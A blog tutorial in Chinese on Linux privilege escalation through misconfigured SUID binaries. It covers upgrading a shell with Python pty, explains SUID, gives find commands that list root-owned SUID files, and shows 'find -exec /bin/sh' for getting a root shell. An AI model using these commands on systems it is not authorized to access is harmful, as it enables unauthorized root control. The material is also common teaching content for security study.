Linux配置不當提權-suid提權

在這裏插入圖片描述攻擊成功,並得到一個shell,但是這裏卻只是一個簡單的shell,首先需要把它轉換爲一個交互式的shell

在簡單shell中直接按刪除鍵是不行的,要按住ctrl鍵之後,再按住刪除鍵纔可以,其他鍵的使用也一樣
在這裏插入圖片描述命令

python -c 'import pty;pty.spawn("/bin/bash")'

現在已經進入了一個交互的shell了,但是可以看到這只是一個普通的用戶,所以我們要把他提到root用戶

suid提權的原理

suid是什麼,有什麼作用?
SUID (Set owner User ID up on execution) 是給予文件的一個特殊類型的文件權 限。在 Linux/Unix中,當一個程序運行的時候, 程序將從登錄用戶處繼承權限。 SUID被定義爲給予一個用戶臨時的(程序/文件)所有者的權限來運行一個程序/文 件。簡而言之用戶在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有 者的UID和GID

簡單來說。suid,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。

在這裏插入圖片描述所以我們去找一個文件擁有者爲root,而且其執行位上有s的執行文件,那麼即使我們用普通用戶運行這個文件時,這個文件的執行權限就是root

命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}

在這裏插入圖片描述爲什麼使用find命令呢?

原因:在find的後面,是可以帶入命令的,而我們要的就是執行其他命令。也就是說,當我們調用find命令時,因爲find命令有s權限,所以find在執行時的權限就是root命令,而在find後面的帶入的命令也就是在root權限下執行的命令了

去查看find
在這裏插入圖片描述帶入命令的方法:

-exec command 。-exec選項後面跟隨着所要執行的命令或腳本,然後是一對大括號 { },-個空格,一個反斜槓\加上一個分號。因爲分號;在bash的環境下空格是有特殊意義的,因此利用反斜槓來跳脫

提權命令

先創建一個空文件test,使用命令:

find test -exec '/bin/sh' \ ;

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章